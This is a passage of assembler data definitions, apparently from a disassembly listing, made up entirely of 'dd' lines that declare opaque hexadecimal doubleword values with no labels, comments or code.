		dd 94B55B09h, 1518CA0h,	839D8D2Ah, 0EA20BB01h, 0F948364Fh
		dd 995C4294h, 0B82D4235h, 0D52080FCh, 7257954h,	0C29041CFh
		dd 0E908E007h, 4B0475E4h, 830F17DAh, 0D38697A8h, 2F7C525Fh
		dd 28198422h, 0C14A8D89h, 0F407E9BCh, 83B3583Bh, 85C3B56Eh
		dd 5CE640CEh, 6A0E37E0h, 502D5701h, 2F0DBD89h, 45A2607Ah
		dd 2300274Eh, 91B20CCCh, 2CAC4FCh, 0FF7A5440h, 0FB72BD83h
		dd 3E8124A9h, 1B8871CFh, 204832C0h, 0A1654F76h,	3176326h
		dd 0C26F336Eh, 0F1598FCh, 5080096Bh, 0F623CF8Bh, 81DCB060h
		dd 120F9F8h, 4A3C0361h,	35800493h, 0DDA81627h, 5A408D3Eh
		dd 2962C665h, 8892D4C5h, 0DCA05E58h, 0C6BF3E01h, 90AE858Bh
		dd 2DDAA09Dh, 0D0701C53h, 513225FAh, 0E9C8AD09h, 0F809D181h
		dd 84494230h, 0BAF26C68h, 0C00B247Ch, 0F9B8136Fh, 0FDF9EDE6h
		dd 920BE2Ah, 41A19D2Bh,	144E472Eh, 7B610B31h, 989F7018h
		dd 0F84F8400h, 5935453Bh
		dd 28D59BD7h, 4CCB137Ah, 0B96665C4h, 0BC044981h, 0F2B1216h
		dd 0CABE308Ah, 3D9599E9h, 699E8021h, 66DF8B10h,	59E4B909h
		dd 55B5561h, 0E217DC58h, 2FC6FEF8h, 0D63D011Ch,	0A01AB90Eh
		dd 186A7943h, 0C8172637h, 13FD1320h, 80F9B816h,	9F63017Bh
		dd 6BA900A0h, 335E70Ah,	9BFA9E0Eh, 0FFC4D326h, 2C45B505h
		dd 0D52F3789h, 68C680F5h, 802DADE8h, 249E11Bh, 5A1FB710h
		dd 0E80D8D94h, 6E69222Dh, 0F80EABB8h, 129DB531h, 0E21CF3AAh
		dd 2B033016h, 8E884F5Bh, 875016Bh, 0B2211CA2h, 7A463FFh
		dd 2FF8DFB9h, 0F9AE07C9h, 0D0E5D399h, 0BC00386Dh, 0BBA835Ah
		dd 45FDBD01h, 0BE6B542Bh, 0A007A97Ah, 61E8D37Fh, 0D5F74D61h
		dd 7A216B8Ah, 21DD8FCCh, 0BB8203Ah, 85A519Dh, 20052292h
		dd 0A8EA7025h, 0CE11AF5Ch, 0CB8CC020h, 995A4DE0h, 2FE814AFh
		dd 9163B300h, 0F03C4A3h, 4BA1E92Eh, 2F1FA038h, 4E9B615Ah
		dd 0AD60F8F2h, 90800CD9h, 504A38B7h, 0FC1B20CEh, 9D0FEC2Eh
		dd 857F3612h, 0CC82905Ah, 2F475EC1h, 0C3940E1Bh, 0CB3D0714h
		dd 40A50DBAh, 3B36A941h, 1C437CF0h, 0CC62B00Ch,	9F9D2E5Dh
		dd 482B0CAh, 8B070FADh,	0D1C0967h, 0BF28D2C0h, 3D7D0CF1h
		dd 648DDFE8h, 0BED75DEh, 56000CB8h, 0F2713F3Dh,	0A2B04F2Ch
		dd 422757E5h, 0BD285081h, 0B79D4CD7h, 635E006Dh, 0ED67BA66h
		dd 7D9D290Ah, 0D4499E1Dh, 0A0C117BCh, 89EB8D9Fh, 0D408C2F3h
		dd 2200DE5Ah, 911F71C2h, 26705567h, 8628C3Ah, 0C0921DA5h
		dd 28E0CCA6h, 0C60B7AA5h, 0C4746DD8h, 0E63F3D29h, 2F28BC80h
		dd 0A07C26C8h, 5C64AC04h, 27C0962Bh, 17CBBF60h,	4470413h
		dd 15161D3Bh, 27B12293h, 0EA5ED981h, 0B7076E2Ch, 0D1F289CAh
		dd 0D5565508h, 0E3FB6065h, 253522CEh, 6C55016Ah, 79931109h
		dd 1D4E6422h, 0C1FE8B40h, 68620CEFh, 6820043Ch,	0F45702AEh
		dd 0D58ABF0Dh, 0EA34347Dh, 9BA63465h, 30DF6802h, 0FFD1A9C5h
		dd 0A9423FA1h, 0BD0E850Eh, 6A502A91h, 56057C8Dh, 6112006Eh
		dd 0E075C1C3h, 686E605Bh, 0F0854D00h, 0B9C752BCh, 0D817FE25h
		dd 8D030933h, 795515A1h, 438F84Bh, 2E41CD8Fh, 0D74D2BBAh
		dd 0D8B1660h, 0B1B424F0h, 12190878h, 0ED09A224h, 0FCBA1A2Ch
		dd 311026h, 0ED15BF66h,	6343E861h, 598D9F08h, 0B5AA2162h
		dd 0FA51042Ah, 5E4C1520h, 9D0300F2h, 8DF5B72Fh,	0CE01945Bh
		dd 0CFE8E277h, 0B2FC79CAh, 5E17EE5Fh, 0A095B708h, 1106F11h
		dd 6EB63291h, 0B8513C5Eh, 5130A896h, 3D157D2Dh,	40DE1FA3h
		dd 5C8E138Bh, 0BF5DE8B5h, 8D2B1E12h, 17330F14h,	9ED01D15h
		dd 6BE8DEEBh, 0EDFF2BAAh, 95CC608Bh, 0D10197BFh, 921481B0h
		dd 391010E8h, 0E61FF129h, 0DB4058D0h, 6CF4E4E2h, 0B9010971h
		dd 0AC35EE0h, 8956E388h, 0B84F9C94h, 950F41ACh,	805137F5h
		dd 8B82DD2Dh, 386FE8F2h, 0B52382E5h, 590C4931h,	99D5BAFFh
		dd 0DAD25C2h, 870E253h,	54AC0E30h, 94CFD5BEh, 0D4FBE865h
		dd 0EB6F47h, 22C0662Fh,	0C5A93595h, 0BC1EB1A2h,	0CBE8873Ah
		dd 474FEF69h, 9269006Dh, 347E3659h, 17B9F305h, 0C14585ACh
		dd 7AAA1ECDh, 87DD0016h, 8F293FA5h, 0FD42266Ch,	71E80DD9h
		dd 0BD8240B5h, 16832E99h, 0C429854Eh, 0B8AAE9EDh, 0F5803960h
		dd 0F0A55AFCh, 3A69E859h, 7114736Fh, 3C9BD0CCh,	54967C17h
		dd 40A566E0h, 854A0F02h, 2FEA8CFEh, 45C68BE5h, 0F47ADC15h
		dd 2EA1DE01h, 5DCE8FFh,	0CB03B37h, 0DE01C8B7h, 841389A4h
		dd 49011858h, 0ACE80107h, 0C6816181h, 2BFF5B13h, 105D2004h
		dd 40E6001Fh, 0E862B5C3h, 8B2F9563h, 682648FAh,	6F99EA4Ah
		dd 5B70C6Ah, 0FC897C61h, 1575308Bh, 0BCD02F73h,	63EB9849h
		dd 4DE89D21h, 0A85C5F6Eh, 2FC12C01h, 3CE8A1C8h,	104323DEh
		dd 12505811h, 0BA2D012Ch, 0CEF06EA6h, 7616D0E4h, 0F5E03955h
		dd 11E40BDh, 613E40EBh,	6C0570BFh, 0F8E878B4h, 0CAF99A92h
		dd 5446CA9Bh, 9201DCFFh, 5209A7EDh, 9B247BD2h, 0B9E9A839h
		dd 0EF500E9Dh, 9B17B03Bh, 31BF810Dh, 872A806Ah,	888934A6h
		dd 0AA76BE72h, 2F652B3Fh, 824C718Ch, 5A73BBC3h,	5CAD2BDDh
		dd 0AA00DEA9h, 3EAF7771h, 5B064C87h, 0D988B07Ch, 3B407A9Ch
		dd 0C939E037h, 525CACB0h, 104372Fh, 0C4FB6B08h,	0B6942A1Bh
		dd 0D1D77500h, 95A1E670h, 0B755B242h, 0C5580B7Eh, 20403978h
		dd 9BD85B2Bh, 0FC1A80EFh, 0E4515093h, 40619C52h, 0F7D37CEh
		dd 3C414302h, 54597BC2h, 0D60AC051h, 0E200EAA2h, 80BED1DDh
		dd 407A65A3h, 934F5986h, 0D3000A6Eh, 6E77FAAFh,	0D6B8950Dh
		dd 53304925h, 0BB019247h, 0DE4245A5h, 5B85A4DDh, 3FE080F6h
		dd 8D129012h, 7942B195h, 0D5F5CD80h, 0BB1A9A85h, 9500956Fh
		dd 8CE5AA5Ch, 0D058CC07h, 0BF8041Eh, 0D6943DB5h, 5995FD80h
		dd 3458431h, 61DE5040h,	0F0425B89h, 26416914h, 3027A8BBh
		dd 80D39653h, 17344314h, 0B98509CBh, 5EEA69ADh,	7A74DC7Ah
		dd 0C0D2BF03h, 0B16651D6h, 5D43FA0Ah, 21B216F8h, 3CC17B07h
		dd 732F04E4h, 34AE0837h, 0E9CD26Dh, 51FA780Bh, 0A104661Dh
		dd 0DB86E01Ah, 0ECDD7057h, 0AF277A02h, 0CC870F2Eh, 0EAE917CBh
		dd 8A038D2Bh, 0D20ABD80h, 0EB1D944h, 66E7Bh, 67F15823h
		dd 66EEBDF5h, 0D8F6CEC9h, 28DCF0B4h, 9F86290Ch,	35E1BD4Dh
		dd 0AD7007A2h, 8172A949h, 2CF6B854h, 9C496EE0h,	0A6322104h
		dd 90965FB4h, 0B8379DE4h, 5DB4D00h, 0B873A0Dh, 0C0D31788h
		dd 4940B0DCh, 2B1E5Ch, 0BB124098h, 3D3EA524h, 9C7F973Ch
		dd 50A5EFB3h, 0B4D70A4Ah, 0AD985E62h, 63BE8058h, 6EF12140h
		dd 90280067h, 773B92E3h, 0D80EB4C9h, 29475E9Bh,	107FD6A6h
		dd 95A07A2Fh, 0DEBB2BA9h, 287F11D8h, 948ECD1Ah,	961ADC5Ch
		dd 5CD39CB0h, 7C18DCF5h, 91CCC668h, 0CB8B8020h,	558892D6h
		dd 9C1901F3h, 70BDCFD1h, 3471B052h, 9F1F119Dh, 9082A6B7h
		dd 0F830227Dh, 0CBDF147Eh, 8D25B2A8h, 0F61AB3A5h, 0B499E0B6h
		dd 186E0368h, 88726ABBh, 9225AAEh, 0E6424B1Fh, 6BDF053h
		dd 15CC69E9h, 0BFDC41F4h, 0B66287F6h, 771CEAB1h, 9A032BB7h
		dd 4F5FFB74h, 0CEE1883Eh, 0C4BF4C00h, 0AF8C0D6Fh, 78E0FBBDh
		dd 272E12D9h, 3BA6EE43h, 890AF2F0h, 0D2D19D26h,	64C5B542h
		dd 0A837BD8Ch, 1755CC80h, 12EBF16h, 89012BEDh, 4075D95h
		dd 937FB8BAh, 0F06D100Eh, 24DCBF01h, 9EC3439Eh,	2EA03D18h
		dd 935C58Ah, 82C80FD5h,	0C04F8BFFh, 2CE0B3A6h, 0E50B2EA7h
		dd 4F644588h, 0F35549A3h, 0B385168h, 0E7E4B6D3h, 0B504F5C5h
		dd 0BCBA1EC9h, 917CC778h, 0F2CEC89h, 8F4D8916h,	0BADF7524h
		dd 0B3E9D412h, 0EFF05E34h, 1D23FB6Bh, 69657725h, 2E97EE20h
		dd 0E6B3E5F6h, 9DF17EF1h, 12C3D6C6h, 0BC07A96Ah, 98DB16FAh
		dd 8080A8D0h, 18313D48h, 72200524h, 0BC75AEB6h,	0ACEE809Fh
		dd 252D6FAh, 9EB0C849h,	0C14A78E5h, 0BBE0736Dh,	1D556E8Fh
		dd 425AA921h, 0D88BC8BAh, 4031A780h, 0BDE80623h, 3FC4914Eh
		dd 6FE412EFh, 72180E3Fh, 4CCB605Eh, 1DFCB20Ah, 0A96BF50h
		dd 0A7AC7E1Eh, 0DC00F1B7h, 5F9AC863h, 0B0AB09F8h, 34736ADBh
		dd 1668378h, 8998DFDCh,	491B058Dh, 0F40645F2h, 951229BDh
		dd 75AA3021h, 0EB2BC2Fh, 338D0846h, 17508CE9h, 2F316429h
		dd 0C0509BD1h, 20147FCBh, 97F703C2h, 574033D9h,	4ACD9622h
		dd 0A8DCBB5Fh, 9A008B21h, 6AED2BE7h, 0B49D3102h, 5573A86Bh
		dd 0C26AC0F9h, 6C8211E6h
		dd 0B3042F55h, 0D744481h, 10B48B3Eh, 0A84A403Bh, 6987801Eh
		dd 245BCFDFh, 4E1BB2Eh,	845F07F0h, 503BFC2Eh, 8E50E431h
		dd 0BD102B90h, 90300DC9h, 0B750DF20h, 23097077h, 5714399Dh
		dd 51AD58D3h, 0C844A51Ah, 0F308AC00h, 8B2A0B0Ch, 0BB804AC9h
		dd 207A8F8Dh, 41C7EABFh, 80EF583Ch, 27205FD2h, 4F6FC1D5h
		dd 6736B340h, 1FF8B19Eh, 59416F6Ah, 0B5750712h,	0F301DCE5h
		dd 0AB2F0791h, 0AEE9D763h, 29510573h, 490B0DBDh, 0DA0BB0D7h
		dd 316139DEh, 5F10CD95h, 9DEC70E6h, 0E4576961h,	30605071h
		dd 5FF2A8D9h, 4E4B9003h, 2560B308h, 0DAFC91B5h,	3F3F33C8h
		dd 0B6006516h, 0D006BBC8h, 869E1483h, 0C18BF540h, 410B44E9h
		dd 310E2961h, 9AF4661Eh, 13914FAEh, 85C20542h, 9925AF06h
		dd 0E0E5420Ah, 0C6C82B8Ch, 0E507EF29h, 0C40EBAD1h, 7DE2D2B4h
		dd 0B432466Eh, 979C85F6h, 0FDBF6682h, 0CE3563D7h, 0BE3393Ah
		dd 61110EEh, 0D03BC1A5h, 0E05983ECh, 98A90F3h, 34E90380h
		dd 0EA95A464h, 711A60DEh, 0B4C69515h, 838A847Dh, 281431E9h
		dd 131BA51Fh, 8989FCFEh, 4DF301E7h, 70E9032Fh, 0B58D043Dh
		dd 0AB22CA57h, 7700C26Fh, 23F8A7A6h, 0B432326Fh, 0DA49B0CBh
		dd 52B79704h, 14E70396h, 26AAE024h, 580749BCh, 1364E25Bh
		dd 0FC4D985Fh, 0D75254B9h, 0C2800260h, 0D9B70FC4h, 0FC52855Dh
		dd 2AE0DEA6h, 0B14B96F3h, 0EAC0A620h, 0E4B70018h, 3638C76Bh
		dd 0E50934C5h, 3E4396h,	66A8575Eh, 0F1F912BBh, 61A3BF5Fh
		dd 23C5B50Dh, 0DF1E41B3h, 8EC56867h, 0F7840072h, 9D498819h
		dd 75DCD5A9h, 89100DEh,	815F79BEh, 27A2BAA9h, 31700973h
		dd 89A80974h, 2B02427Fh, 0AD001711h, 0D4D1C233h, 0E902D450h
		dd 29F47504h, 12C0561h,	9E3F880Dh, 5147C052h, 0CAAC116h
		dd 25E51D28h, 3041B582h, 9A5D95D8h, 7A6DB353h, 8B80227Dh
		dd 49707EFEh, 47627E00h, 8300A65Bh, 0F65802E6h,	48284B13h
		dd 0C522D6D4h, 5DC749Ch, 0CC5EFECEh, 6009AB79h,	0D85905F5h
		dd 91C27183h, 94BA0318h, 0B156E978h, 3B585819h,	827CDE25h
		dd 8DB6D8C4h, 3C9172E0h, 10C7B258h, 824F078Dh, 0BD5792D9h
		dd 11A480FEh, 4F9EBACCh, 0BBAAF217h, 70052A2h, 686C9D6Eh
		dd 5C00B0D6h, 2D2C98B7h, 7DDF587h, 1E05529Ah, 3D5509B8h
		dd 8719802Ch, 6CD7F5A1h, 12726A5Ch, 0CFE94DB0h,	0C10032E8h
		dd 0FFA30EAEh, 988CB3E1h, 42EB14F1h, 7D109FF7h,	620BC913h
		dd 2AB75F49h, 0A4FB0B00h, 546F8D4h, 6C45C03Fh, 1F90860h
		dd 4504FC96h, 610A1229h, 4014441h, 0D5A903E5h, 0F70140E8h
		dd 0CD8E1285h, 0BA20E67Fh, 7C0E58B1h, 3A34088Eh, 860F0381h
		dd 17C80F75h, 0DB48D3C0h, 206056B6h, 0C65EB8B0h, 0F3F1644Eh
		dd 403DDB30h, 0E125801Bh, 663704h, 0C12CECAFh, 380B1060h
		dd 7892F649h, 0A01F72Fh, 34B841C9h, 75CE6D01h, 0A0FA1D44h
		dd 9B0DC1D4h, 3E4BD851h, 331D8B04h, 85A1C985h, 0EBC1F75Bh
		dd 6B2ED4E2h, 3E304013h, 0B446035h, 0C1B826BCh,	443885F4h
		dd 8B63B390h, 0E25C498Dh, 0E2BBEDA7h, 0E1E6FDD6h, 0D2658B00h
		dd 0AD14EA64h, 619B0411h, 0BB820F58h, 67C04CBDh, 99FA312Fh
		dd 2C75A700h, 8E5C5918h, 0DA8A00B7h, 0A0DB6830h, 60797F6Eh
		dd 0B866F702h, 0D461EECBh, 0A39F383Eh, 0D664E771h, 6BF37500h
		dd 0A7538BC4h, 277D00DFh, 1C7CA2A8h, 675C5EBBh,	2DE11236h
		dd 19A033B7h, 60001586h, 0FFC98064h, 4F74AEBBh,	555905E4h
		dd 81C7C0B2h, 417A60DBh, 0E9FC6F05h, 0D3BD015Bh, 79DCA880h
		dd 2B48255Dh, 3B4D342Ch, 16B887E9h, 37DFE100h, 0DEF79354h
		dd 0C7AA3859h, 81807C4Ch, 49E572CBh, 0B5168E98h, 67931501h
		dd 817B5A51h, 890BCACAh, 4913A190h, 78FFB560h, 2582930Dh
		dd 57377065h, 79044662h, 6AC20030h, 227A79B3h, 0C40D1701h
		dd 15BD2345h, 0BF5B3E74h, 0F9780BABh, 52794B90h, 0F0816000h
		dd 72158410h, 595270Bh,	0B5FF20C8h, 0F269AA4h, 6860A78Bh
		dd 17BCABDAh, 0E0FA8AF2h, 58172566h, 0DEDB0D62h, 960A9880h
		dd 0E719F23Ah, 0F9AC5760h, 0A505043Ah, 95F7F82Bh, 3E9B5E00h
		dd 203A4CC1h, 72136FA8h, 0BB6600D0h, 695A9792h,	5559F9E7h
		dd 23676E9Ch, 6DF4001Dh, 25277018h, 462D7FEAh, 134E084h
		dd 16113595h, 190304DDh, 85C70524h, 4CAD168Dh, 0F880E637h
		dd 29376DADh, 53C961BDh, 0CEA99531h, 0A9A1E07Ch, 2A9AC626h
		dd 0CF90441h, 1095A856h, 1E501959h, 0F4AB4EA3h,	1A9C6537h
		dd 0BB9FF1A6h, 5121E949h, 209908BFh, 0C305004h,	984426C3h
		dd 7AE8C101h, 0F0ED610h, 3C44CCFh, 0E78EA458h, 3636EB37h
		dd 0E7641078h, 501B58B8h, 212829CDh, 34581803h,	27570113h
		dd 3D57091Bh, 0D9590095h, 8FEB96DDh, 0B7F41E2Fh, 0F20A0062h
		dd 51F4DD17h, 5D905597h, 21B95FF8h, 440E44Fh, 257AFAh
		dd 1BFAF7Eh, 48FE5BFFh,	10B30641h, 7E686148h, 8D500C4Fh
		dd 7E6E5B13h, 0FAD9DC00h, 64EC2771h, 0C920B190h, 0DB80171Bh
		dd 58B22Fh, 2493B344h, 767BF53Dh, 0A86B4C48h, 2EA04922h
		dd 0C78119D9h, 46F1B7Ah, 0DF81F8E0h, 4D57D504h,	81AE5038h
		dd 603589E4h, 2E726172h, 97CC04EFh, 74F00D9h, 9B7AB819h
		dd 77E43930h, 9361240Eh, 947DB472h, 46D30C76h, 9221C09Ah
		dd 0DC99B6E3h, 56F92612h, 2D69CB04h, 49735F0Ah,	0E300A971h
		dd 0D8E835CAh, 58E70EFh, 93635580h, 0F11A82D4h,	62BB5F78h
		dd 390EBD70h, 108B9D70h, 0A0F0B426h, 86B1CC8Bh,	5CDE3BC4h
		dd 658D07C0h, 39160EA4h, 0DF01FB8Bh, 157DA859h,	83C54B38h
		dd 296C98C2h, 91CFF500h, 0E4979CF7h, 95CB504Bh,	891044D9h
		dd 0FA205039h, 682B912Dh, 4AC7978Fh, 0F226F22h,	99574B30h
		dd 7B7FB8F8h, 0B44800C2h, 58EC7BC9h, 375C2630h,	0B3E7009Fh
		dd 757A12BBh, 515A7269h, 44D1008Fh, 0BF71625Fh,	3B28D324h
		dd 0FA1C85C9h, 800EE0B3h, 0CB606CD7h, 0F50961Bh, 4BDB62B0h
		dd 0E4C78B6Ah, 5DC0D49Bh, 628DB270h, 4489C729h,	3D129F26h
		dd 1DEA21BBh, 0F9CB070Eh, 0C83197Fh, 97F32C2Ch,	9B5EECBDh
		dd 0A45382EFh, 0B6D5C02Ch, 999653CCh, 0A59FE00h, 3AA6509Dh
		dd 57E3E24Bh, 6167C00h,	287E6E96h, 61BA910Bh, 6FD9DE49h
		dd 0E076F6D2h, 0BD910346h, 1093F666h, 7939BB85h, 13498F04h
		dd 2AF7AFBh, 71852919h,	132B22Ah, 5BFEBFF7h, 4D65EA2Bh
		dd 0D200546Bh, 0B8496207h, 0CAE2B60Ah, 0D48A6005h, 3CEC8B51h
		dd 9EC15A89h, 204C209h,	1BD4C20Bh, 136902F6h, 58361564h
		dd 91001ED9h, 423CC1B0h, 9CCD012Dh, 0A0394045h,	0C6DC843h
		dd 0D9C67D12h, 0A8700230h, 9EFB0355h, 5FE2A2DEh, 1751B816h
		dd 0F1E8F5ADh, 2A9F8D02h, 0F6694517h, 0A6E52254h, 706AC030h
		dd 7F74FEC4h, 0C52E470Bh, 41B58F7Ch, 0C61BBA73h, 80B79E2Fh
		dd 0BC791D54h, 33582E05h, 0F1BD0463h, 0E3FD901Ah, 897A5320h
		dd 14267930h, 3B85C75Bh, 0A6DE1291h, 301DA219h,	0F2000339h
		dd 970C1F36h, 90BE2A94h, 8C120FCh, 0EEED8881h, 0FFF35C21h
		dd 2B37FFC6h, 9036DD00h, 240711E1h, 25ABAA3Bh, 0C1ECA05Ah
		dd 0F6E0E0ADh, 19C66B85h, 548197AFh, 2AAC1479h,	1AE2D6h
		dd 9F820977h, 0C2CC9h, 8E38EF12h, 24CBB0BBh, 21427566h
		dd 505F3CFFh, 0C172D827h, 0B87BB18h, 4B9D2BA8h,	0EF2194DDh
		dd 0B05E536Fh, 8D1401D9h, 125A310Dh, 10BD4F6Eh,	0DA62DE25h
		dd 390B4D54h, 8B73A2B1h
		dd 0EC1A77C2h, 17D4E854h, 0FBD98C17h, 0FBE3F204h, 0EF4B33FCh
		dd 23C14CDBh, 6E6A31B7h, 3BC05BDBh, 0B59AFEF2h,	0FCD08A12h
		dd 6E5BCCB3h, 657700D1h, 4B88BB06h, 9D311760h, 61754AE9h
		dd 0A0351DF3h, 5FF61A95h, 2B013B37h, 1AE22958h,	0C360BA2Fh
		dd 2E106BF7h, 125ED1FFh, 2A99A101h, 0BF6AF428h,	2960D8EFh
		dd 1C01A1DBh, 25AD9D49h, 58AA4CF5h, 2804EE5h, 889ACB81h
		dd 504B1A00h, 0E7FBBF56h, 0D42EED36h, 0E98E0E7Ah, 5D23E712h
		dd 12E7B87Ch, 0E20E46E9h, 2A78C93Dh, 4CDE3975h,	915E95BAh
		dd 69FE8AE1h, 4B73B8BDh, 0B75B814Bh, 6D342EC6h,	62A6EEEh
		dd 0D912563h, 75A680F4h, 0B7908007h, 5F50B03Ah,	2B80ADDBh
		dd 599BA930h, 5ADF4D31h, 992E10D9h, 32FB2EC7h, 7C4028E5h
		dd 9E4B0345h, 9703BF99h, 0DAF61251h, 5BB2E25Fh,	0A01CD07Ah
		dd 0EB030007h, 1E12F53Ah, 6184814Bh, 4D3C7ACh, 0F07DD2Eh
		dd 5FA9B26Ah, 300E9B8h,	2FDED5A2h, 5C1F4CAEh, 0D05E9AC2h
		dd 73F3BF71h, 116A5C24h, 712AB909h, 13F42EBh, 49B0FC02h
		dd 60121B99h, 0E240335Eh, 0A5663Ah, 33227E28h, 0FEF11163h
		dd 0EF441F24h, 53470900h, 4E66101h, 11B58970h, 78F7B930h
		dd 2FED8D12h, 334EFE3h,	0FABE0979h, 0B398EA70h,	5B2C252Fh
		dd 5E81403h, 3F5A5001h,	7B16A6B4h, 0D437FA80h, 582A9A5Bh
		dd 0A94A109h, 0A82EA117h, 0FED29EEFh, 2C88F3E1h, 2B040FFDh
		dd 1BFBFCC8h, 0A37E7A72h, 4059865Eh, 0BF10050Ch, 0EC2DD5AFh
		dd 23BB905Dh, 31C132BDh, 43DC857Bh, 2DF118B1h, 4302B804h
		dd 357216A6h, 0A464E00h, 645EB74h, 0FED19DE5h, 66972CFFh
		dd 0DA750010h, 8E58AA11h, 0CF00E49Bh, 0DDC06716h, 2C13F8F7h
		dd 92594FC5h, 1626F45Fh, 1B6446B4h, 0BE4BE904h,	0DDE4EC70h
		dd 305A16B3h, 0D0F7ACEEh, 0DA53386h, 85CFEA60h,	21BAD0D2h
		dd 142484EBh, 65BCC6EAh, 22A1A5FEh, 22FA2FFEh, 0D0DC8915h
		dd 448F0F42h, 3D3097B1h, 8982D2DAh, 18BC408h, 8759051Fh
		dd 0D4310C61h, 6A4B410Bh, 0C0BC5BFDh, 76B18B5Bh, 6396DFFAh
		dd 500C7B95h, 53E9D71h,	7EF055B9h, 0AB05696Eh, 9E1DB69h
		dd 4D78FEB5h, 0B0310DDDh, 2B011679h, 2ED2C9C0h,	5A02986Eh
		dd 69892A11h, 64B2F2D4h, 7AD65CF9h, 0DCF3DCh, 23CAB93Bh
		dd 0AFE47B01h, 8A0F0517h, 0F0CB0760h, 0E9BB04B6h, 0B62B7B09h
		dd 0F095E018h, 2C5042Ch, 0BCB33035h, 38B69727h,	2F4EDDE0h
		dd 0A02A9E13h, 6A94504h, 3FB424BCh, 41B392Dh, 80014622h
		dd 0F8FD8684h, 0F4168D4Bh, 1597B1C3h, 0A59CB3F2h, 0B50907ECh
		dd 59FD291Bh, 497F44D4h, 0E1C70252h, 0AB5B0509h, 1423EF6Ah
		dd 23309413h, 121279DBh, 0E7ADE21Ah, 0C4F94AA5h, 0F00509A8h
		dd 0E1FF9FB3h, 37E07AF6h, 6702A41Ch, 0C12B5DBFh, 53C15C40h
		dd 0A92B4FACh, 95BCD0D5h, 27699394h, 0B4737526h, 9228570h
		dd 0DF317A8h, 0C3448771h, 87E5F54Eh, 383DF20Bh,	0EE2FA295h
		dd 1D3CBED3h, 1E0D109Dh, 2FC4F381h, 67B8650Fh, 7FB8485Dh
		dd 1B09C490h, 7037B94Dh, 4C829D83h, 5D5CDDB8h, 311E2391h
		dd 4A1351B5h, 9A9E5BC4h, 7CBF8BDFh, 8BD3402h, 0A5605909h
		dd 0D01F3E64h, 0CC4351B4h, 0EF50484Eh, 9BF487F8h, 0D1A7D23Ah
		dd 7B97FF58h, 0A1E6D074h, 1E39A602h, 578B2EFEh,	683D1364h
		dd 1D9F9252h, 578083FCh, 7FAA9EAFh, 79D9FD01h, 0B3F3730h
		dd 1291BFC8h, 0E05B6987h, 1D39AD28h, 0C1DB4A80h, 0EAABBA80h
		dd 6F026351h, 66B78AF2h, 60B37E57h, 2C2D8D01h, 4150748Ah
		dd 0F856DCCFh, 0B8F6A4BEh, 7049AA01h, 24F6438Eh, 0BDF2742Ah
		dd 2DDCA977h, 192512DBh, 1252E3F9h, 0CAED9D33h,	1B0E90Bh
		dd 4D20BC72h, 4CBA951Dh, 40C8ED5Fh, 0EAEF3437h,	0D50A8D28h
		dd 7C19FD25h, 705AC778h, 0CFA161E2h, 7E590997h,	0F806F6D8h
		dd 9BF2C6C4h, 361206Eh,	0B174E197h, 9D2B7D86h, 614B0DC5h
		dd 0A2F98194h, 9A004DE8h, 0F1267722h, 0DC01D065h, 90AD07Ch
		dd 71FAB70Fh, 0BCBF9DA9h, 89616E0Eh, 0A93DBBE0h, 0D49319B2h
		dd 0C3C78100h, 97380BC5h, 6F4DA709h, 0BC7F63C0h, 741700D3h
		dd 806756A6h, 4525BD03h, 0B94CDF10h, 6D89F600h,	38F79D9Bh
		dd 0D62E00C6h, 0AF936CEEh, 0B212A13Ah, 4CA0AC54h, 32009550h
		dd 95F57ECh, 0B6B2509Dh, 0BD1AAA02h, 0AA80AAB7h, 35682132h
		dd 3E782F0Eh, 71A8D41h,	0AE8228B1h, 9F5250F0h, 0BE00D244h
		dd 8895D7B4h, 0F23215h,	7FBB2B6Fh, 3A219484h, 0F312318h
		dd 0D3068304h, 0C43EEC35h, 3D3585Ah, 78B1A1D7h,	0CC4A677Ch
		dd 0E29529EAh, 0F44C55CAh, 5AD88B37h, 0FB465B86h, 8AED9430h
		dd 5216DFB3h, 7FD61FEh,	66053CB8h, 53654FBBh, 47E32FFh
		dd 7ECCADE0h, 0A18EFE09h, 0E9D0715Fh, 734010EDh, 4878490h
		dd 7ABF66E2h, 0A3C3AC58h, 2B335036h, 0E9244021h, 0AF944670h
		dd 0DE7906F4h, 0CA29C16Bh, 0E95D2B5Bh, 0D5E330D2h, 8A9A4BBEh
		dd 0B04E059Fh, 934C7E4h, 0EAD8EF53h, 0E995018Eh, 8F21432Fh
		dd 4A6C3CF4h, 8621D5CAh, 0D4037CA5h, 12BFB758h,	7D048A2Ch
		dd 52141B45h, 4047D1C0h, 5F094A2Bh, 167AF828h, 83456B23h
		dd 0E6968E37h, 4580D7B8h, 0D568C1E4h, 5BEC4C1Dh, 0F73ADD00h
		dd 5EB5297Fh, 5F7E096Dh, 898B5651h, 0A53A7EBDh,	5E75F96Ah
		dd 4625DEBCh, 0B591C6ECh, 2F2E7CC1h, 9AA60475h,	0DD8D0FE0h
		dd 0D81FA205h, 6D83669Ch, 96D72E15h, 480E1138h,	0DEBF0250h
		dd 6204645Ah, 9F9C7852h, 0F88AC1E0h, 0A4A6964Ah, 0FAE19EE3h
		dd 39F84152h, 1FFA040Fh, 0FCFDE662h, 74716907h,	60022E68h
		dd 0EB5F5E59h, 901EBB5h, 0B87B8586h, 5A80E6Fh, 76D04611h
		dd 5C93CAB5h, 0D687EA55h, 1BB4821Ch, 4CF33292h,	27EAE84Eh
		dd 0BC501618h, 0D817D4C0h, 330C0807h, 4A83AD85h, 0F312F6C2h
		dd 0DDEBF85Ah, 855C4860h, 0D0235912h, 3FD3935Dh, 64C1444Bh
		dd 312F6AB3h, 0F4F88B60h, 8088B886h, 863B60E7h,	1674E381h
		dd 0EC2D9D25h, 5D8D4B12h, 0E2889317h, 0D59350DBh, 0DF2D2A5Eh
		dd 7DA07A76h, 0C516BD02h, 72E86049h, 2BE12A80h,	237B63E5h
		dd 4B368601h, 54117C2Dh, 40390320h, 8A12580Eh, 910261F4h
		dd 0D9108B0Fh, 120511B1h, 0BBE888BFh, 65B96600h, 8B5061B6h
		dd 0FF96D93Ch, 891DB724h, 0F1946DCh, 0E459B099h, 66BC148Ch
		dd 71DB81C0h, 46426A19h, 0BA1252CEh, 7300257Ah,	6FEF9FF8h
		dd 1B4F18CEh, 117548C1h, 26C9BF13h, 34489312h, 5B26FFBh
		dd 8B3483BCh, 250F9229h, 0B36335C0h, 9D512380h,	0C6A6A5F0h
		dd 0B5D1B06Dh, 0C507C764h, 43C04D20h, 3496F00h,	0DD7A0142h
		dd 0E8ECFC79h, 0BCEA140Ah, 438D813Eh, 84415C7Fh, 5F021D55h
